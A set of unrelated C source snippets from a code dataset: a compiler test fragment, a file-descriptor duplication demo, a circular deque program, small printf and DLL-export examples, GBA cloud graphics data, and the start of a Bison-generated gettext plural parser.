// CHECK-NEXT: store i32 0, i32* [[IX2]], align 4
}
// Follow gcc's behavior for VLAs in parameter lists. PR9559.
void test7(int a[b(0)]) {
// CHECK-LABEL: define void @test7(
// CHECK: call i32 @b(i8* null)
}
// Make sure we emit dereferenceable or nonnull when the static keyword is
// provided.
void test8(int a[static 3]) { }
// CHECK: define void @test8(i32* dereferenceable(12) %a)
void test9(int n, int a[static n]) { }
// CHECK: define void @test9(i32 %n, i32* nonnull %a)
|
the_stack_data/12637875.c | #include"stdio.h"
#include"unistd.h"
#include"fcntl.h"
#include"sys/types.h"
#include"errno.h"
int main()
{
int fd1, fd2, n;
printf("PID :- %ld\n",(long)getpid());
fd1 = open("target.txt",O_RDONLY);
close(2);
printf("DO NOT ENTER ANYTHING\n");
scanf("%d",&n);
dup(fd1);
printf("DO NOT ENTER ANYTHING\n");
scanf("%d",&n);
dup2(fd1,fd2);
printf("DO NOT ENTER ANYTHING\n");
scanf("%d",&n);
}
|
the_stack_data/75137510.c | # include<stdio.h>
# define MAX 5
int deque_arr[MAX];
int left = -1;
int right = -1;
void insert_right()
{
int added_item;
if((left == 0 && right == MAX-1) || (left == right+1))
{ printf("Queue Overflow\n");
return;}
if (left == -1) /* if queue is initially empty */
{ left = 0;
right = 0;}
else
if(right == MAX-1) /*right is at last position of queue */
right = 0;
else
right = right+1;
printf("Input the element for adding in queue : ");
scanf("%d", &added_item);
deque_arr[right] = added_item ;
}
void insert_left()
{ int added_item;
if((left == 0 && right == MAX-1) || (left == right+1))
{ printf("Queue Overflow \n");
return; }
if (left == -1)/*If queue is initially empty*/
{ left = 0;
right = 0; }
else
if(left== 0)
left=MAX-1;
else
left=left-1;
printf("Input the element for adding in queue : ");
scanf("%d", &added_item);
deque_arr[left] = added_item ; }
void delete_left()
{ if (left == -1)
{ printf("Queue Underflow\n");
return ; }
printf("Element deleted from queue is : %d\n",deque_arr[left]);
if(left == right) /*Queue has only one element */
{ left = -1;
right=-1; }
else
if(left == MAX-1)
left = 0;
else
left = left+1;
}
void delete_right()
{if (left == -1)
{printf("Queue Underflow\n");
return ; }
printf("Element deleted from queue is : %d\n",deque_arr[right]);
if(left == right) /*queue has only one element*/
{ left = -1;
right=-1; }
else
if(right == 0)
right=MAX-1;
else
right=right-1; }
void display_queue()
{ int front_pos = left,rear_pos = right;
if(left == -1)
{ printf("Queue is empty\n");
return; }
printf("Queue elements :\n");
if( front_pos <= rear_pos )
{ while(front_pos <= rear_pos)
{ printf("%d ",deque_arr[front_pos]);
front_pos++; } }
else
{ while(front_pos <= MAX-1)
{ printf("%d ",deque_arr[front_pos]);
front_pos++; }
front_pos = 0;
while(front_pos <= rear_pos)
{ printf("%d ",deque_arr[front_pos]);
front_pos++;
}
}
printf("\n");
}
void input_que()
{ int choice;
do
{ printf("1.Insert at right\n");
printf("2.Delete from left\n");
printf("3.Delete from right\n");
printf("4.Display\n");
printf("5.Quit\n");
printf("Enter your choice : ");
scanf("%d",&choice);
switch(choice)
{ case 1:
insert_right();
break;
case 2:
delete_left();
break;
case 3:
delete_right();
break;
case 4:
display_queue();
break;
case 5:
break;
default:
printf("Wrong choice\n");
}
}while(choice!=5);
}
void output_que()
{ int choice;
do
{ printf("1.Insert at right\n");
printf("2.Insert at left\n");
printf("3.Delete from left\n");
printf("4.Display\n");
printf("5.Quit\n");
printf("Enter your choice : ");
scanf("%d",&choice);
switch(choice)
{
case 1:
insert_right();
break;
case 2:
insert_left();
break;
case 3:
delete_left();
break;
case 4:
display_queue();
break;
case 5:
break;
default:
printf("Wrong choice\n");
}
}while(choice!=5);
}
main()
{ int choice;
printf("1.Input restricted dequeue\n");
printf("2.Output restricted dequeue\n");
printf("Enter your choice : ");
scanf("%d",&choice);
switch(choice)
{
case 1 :
input_que();
break;
case 2:
output_que();
break;
default:
printf("Wrong choice\n");
}
}
|
the_stack_data/29824889.c | int printf(const char *, ...);
int main(void) {
return printf("%llu, %lld, %lld, %u, %lld\n",
0xF2C889DD98AE1F63,
0xFFD2086BDu,
0xFFD2086BD,
0xFFFFFFFF,
4294967295);
}
|
the_stack_data/273287.c | #include <stdio.h>
#include <string.h>
int main()
{
int t, length, i;
char n[102];
scanf("%d", &t);
for (i = 0; i < t; i += 1) {
scanf("%s", n);
length = strlen(n);
if ((n[length-1] - '0') % 2 == 0) {
printf("even\n");
}
else {
printf("odd\n");
}
}
return 0;
} |
the_stack_data/12638863.c | #if defined _WIN32 || defined __CYGWIN__
#define DLL_PUBLIC __declspec(dllexport)
#else
#if defined __GNUC__
#define DLL_PUBLIC __attribute__ ((visibility("default")))
#else
#pragma message ("Compiler does not support symbol visibility.")
#define DLL_PUBLIC
#endif
#endif
int DLL_PUBLIC myFunc(void) {
return 55;
}
|
the_stack_data/15257.c |
//{{BLOCK(clouds)
//======================================================================
//
// clouds, 256x256@4,
// + palette 256 entries, not compressed
// + 63 tiles (t|f|p reduced) not compressed
// + regular map (in SBBs), not compressed, 32x32
// Total size: 512 + 2016 + 2048 = 4576
//
// Time-stamp: 2020-11-14, 00:04:50
// Exported by Cearn's GBA Image Transmogrifier, v0.8.3
// ( http://www.coranac.com/projects/#grit )
//
//======================================================================
const unsigned short cloudsTiles[1008] __attribute__((aligned(4)))=
{
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x4000,0x0000,0x4700,0x7000,0x8275,0x4800,0x5544,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x4700,0x0444,
0x8444,0x2444,0x8584,0x4444,0x5BB2,0x8842,0xBBBB,0x8855,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0005,0x0000,0x0044,0x7000,0x4448,0x4405,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0005,0x0000,0x0044,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x8000,0x0000,0x8800,
0x8800,0x8888,0x8800,0x4444,0x4880,0x4444,0x4480,0x8844,
0x0000,0x0000,0x0000,0x0000,0x4888,0x0084,0x4448,0x0844,
0x4488,0x0844,0x8884,0x8844,0x8884,0x0888,0x8888,0x0888,
0x2440,0xBBB5,0xB500,0x9999,0xB600,0x669B,0x6000,0x6006,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x5BBB,0x8BBB,0xBBBB,0x5BBB,0x6699,0xBBBB,0x6666,0x9966,
0x0066,0x6666,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x4824,0x4444,0x5BBB,0x4288,0x9BBB,0x9666,0x6696,0x6666,
0x6660,0x0066,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0048,0x0000,0x0744,0x0000,0x7459,0x0000,0x6666,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x8000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x2780,0x0000,0x4488,0x8888,0x8888,
0x0000,0x0000,0x0000,0x0000,0x0000,0x8000,0x0000,0x8800,
0x8800,0x4808,0x8448,0x8848,0x4444,0x8884,0x8888,0x8888,
0x4488,0x8884,0x4428,0x8884,0x8848,0x8888,0x8884,0x8888,
0x8888,0x8888,0x8888,0x8888,0x8888,0x8888,0x8888,0x5588,
0x8888,0x0884,0x8888,0x8844,0x8888,0x8848,0x8888,0x4488,
0x8888,0x4488,0x8888,0x4448,0x8888,0x8888,0x2888,0x8884,
0x0000,0x0000,0x8888,0x0000,0x4428,0x0005,0x4444,0x0084,
0x4444,0x0084,0x4444,0x0884,0x4444,0x8884,0x8844,0x4448,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0088,0x0000,0x0884,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x5000,0x0000,0x4000,0x0000,0x4000,0x0000,0x2000,
0x0000,0x0000,0x8000,0x4444,0x4400,0x4444,0x4445,0x4444,
0x4444,0x4444,0x4444,0x4444,0x4444,0x4444,0x4444,0x4444,
0x0000,0x0000,0x0004,0x0000,0x0044,0x0000,0x2444,0x0000,
0x4444,0x0004,0x4444,0x0008,0x8444,0x0008,0x8444,0x0044,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x4280,0x8888,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0088,0x0000,
0x8888,0x8888,0x0000,0x8880,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x8884,0x5228,0x8088,0x0088,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x2882,0xBB52,0x8880,0x0088,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x1CC3,0x555B,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x4277,0x4448,0x8800,0x8888,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x5444,0x8882,0x8888,0x8888,0x8888,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0888,0x0000,0x0088,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x4442,0xB000,0x4444,
0x5000,0x4444,0x2000,0x4484,0x4420,0x4284,0x4442,0x4244,
0x0000,0x5000,0x0000,0x4420,0x4444,0x4244,0x4444,0x2444,
0x4444,0x4444,0x4444,0x4444,0x4444,0x8444,0x4444,0x2444,
0x4448,0x4444,0x4444,0x4444,0x4444,0x4444,0x4444,0x4444,
0x4882,0x4444,0x4882,0x4444,0x8882,0x4488,0x2282,0x4882,
0x4444,0x0024,0x4444,0x0544,0x4444,0x4844,0x2844,0x4844,
0x8444,0x4448,0x4444,0x8848,0x4444,0x2884,0x4444,0x4444,
0x0000,0x0000,0x48B0,0x0024,0x4444,0x0444,0x4444,0x4444,
0x8444,0x4448,0x8884,0x4488,0x8882,0x4888,0x2884,0x8822,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0007,0x0000,0x0008,0x0000,0x0444,0x0000,0x0488,0x0000,
0x0000,0x0000,0x0000,0x2000,0x0000,0x8800,0x0000,0x8880,
0x0000,0x8880,0x0000,0x8880,0x0000,0x8888,0x8000,0x4488,
0x8888,0x4448,0x4488,0x4444,0x4488,0x4444,0x4448,0x4822,
0x4888,0x2844,0x8848,0x8888,0x4448,0x8444,0x4444,0x4444,
0x0884,0x0000,0x8844,0x0000,0x8844,0x0008,0x4444,0x3388,
0x4444,0x8884,0x4488,0x8844,0x4448,0x4844,0x4888,0x4444,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0004,0x0888,0x8888,0x4448,0x4488,0x8444,0x4444,0x8884,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0082,0x0000,0x0888,0x0000,0x0288,0x0000,
0x0000,0x0000,0x0000,0xB000,0x0000,0x4200,0x0000,0x4440,
0x8000,0x4444,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x4448,0x4244,0x4442,0x4858,0x4444,0x4888,0x4444,0x4444,
0x4444,0x4444,0x0000,0x4440,0x0000,0x0000,0x0000,0x0000,
0x4444,0x4444,0x4444,0x4444,0x4444,0x4444,0x8448,0x4444,
0x4444,0x4444,0x0004,0x0000,0x0000,0x0000,0x0000,0x0000,
0x4444,0x8828,0x4444,0x2884,0x4444,0x4444,0x4444,0x4444,
0x4444,0x4444,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x4488,0x4444,0x4888,0x4444,0x4888,0x4444,0x4444,0x4444,
0x4444,0x4444,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x4444,0x2888,0x4444,0x4444,0x4444,0x4444,0x4444,0x4444,
0x4444,0x4444,0x2000,0x0444,0x0000,0x0000,0x0000,0x0000,
0x0422,0x0000,0x0444,0x0000,0x4444,0x0008,0x4444,0x8444,
0x4444,0x4444,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0054,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x2000,0x0000,0x4883,0x0000,0x2888,
0x0000,0xAAA3,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x8AA8,0x4445,0x8888,0x4444,0x8844,0x4444,0x8825,0x8448,
0x3AAA,0x8888,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x4444,0x4444,0x4444,0x4444,0x4444,0x4444,0x4488,0x8844,
0x4488,0x4884,0x8880,0x4488,0x8000,0x8088,0x0000,0x0000,
0x8844,0x8888,0x8444,0x4442,0x8884,0x8888,0x4528,0x4444,
0x4444,0x4444,0x4448,0x4444,0x8888,0x4444,0x8880,0x8888,
0x8448,0x4488,0x8888,0x8888,0x4448,0x8884,0x8444,0x8888,
0x8844,0x0000,0x0884,0x0000,0x0084,0x0000,0x0000,0x0000,
0x0448,0x0000,0x0888,0x0000,0x0088,0x0000,0x0008,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x5000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0055,0x0000,
0x0000,0x5550,0x0000,0x5000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x5000,
0x5555,0x5000,0x5555,0x5505,0x5550,0x5555,0x5000,0x5555,
0x5000,0x5555,0x5550,0x5555,0x5555,0x5555,0x5555,0x0055,
0x0055,0x0000,0x0055,0x0000,0x0055,0x0000,0x0005,0x0000,
0x5555,0x0000,0x5555,0x0000,0x5555,0x0005,0x5000,0x0055,
0x0000,0x5500,0x0000,0x5500,0x0000,0x5550,0x0000,0x5550,
0x0000,0x5555,0x0000,0x5555,0x5000,0x5555,0x5000,0x0555,
0x5555,0x0055,0x5555,0x0005,0x5555,0x0005,0x5555,0x0000,
0x0555,0x0000,0x0055,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0005,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
};
const unsigned short cloudsMap[1024] __attribute__((aligned(4)))=
{
0x0000,0x0000,0x0000,0x1001,0x1002,0x1003,0x1004,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x1005,0x1006,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x1007,0x1008,0x1009,0x100A,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x100B,0x100C,0x100D,
0x100E,0x100F,0x1010,0x1011,0x0000,0x0000,0x0000,0x0000,
0x1012,0x1013,0x1014,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x1015,0x1016,0x0000,0x0000,0x0000,0x180B,0x1017,0x1018,
0x1019,0x101A,0x101B,0x101C,0x101D,0x0000,0x0000,0x101E,
0x101F,0x1020,0x1021,0x1022,0x1023,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x1024,
0x1025,0x1026,0x1027,0x1028,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x1029,0x102A,
0x102B,0x102C,0x102D,0x102E,0x102F,0x1030,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x1031,0x1032,
0x1033,0x1034,0x1035,0x1036,0x0000,0x0000,0x0000,0x0000,
0x1037,0x1437,0x1038,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x1039,0x103A,0x103B,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x103C,0x103D,0x103E,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
};
const unsigned short cloudsPal[256] __attribute__((aligned(4)))=
{
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0842,0x5F56,0x7FDD,0x6F99,0x7FFF,0x7FDC,0x7B36,0x7FB9,
0x7FDE,0x7F78,0x779B,0x7F9A,0x6B77,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
};
//}}BLOCK(clouds)
|
the_stack_data/1183171.c | /* A Bison parser, made from plural.y
by GNU Bison version 1.28 */
#define YYBISON 1 /* Identify Bison output. */
/*
Contains the
magic string --noenv
which can be tricky to find.
*/
#define yyparse __gettextparse
#define yylex __gettextlex
#define yyerror __gettexterror
#define yylval __gettextlval
#define yychar __gettextchar
#define yydebug __gettextdebug
#define yynerrs __gettextnerrs
#define EQUOP2 257
#define CMPOP2 258
#define ADDOP2 259
#define MULOP2 260
#define NUMBER 261
#line 1 "plural.y"
/* Expression parsing for plural form selection.
Copyright (C) 2000, 2001 Free Software Foundation, Inc.
Written by Ulrich Drepper <[email protected]>, 2000.
This program is free software; you can redistribute it and/or modify it
under the terms of the GNU Library General Public License as published
by the Free Software Foundation; either version 2, or (at your option)
any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
Library General Public License for more details.
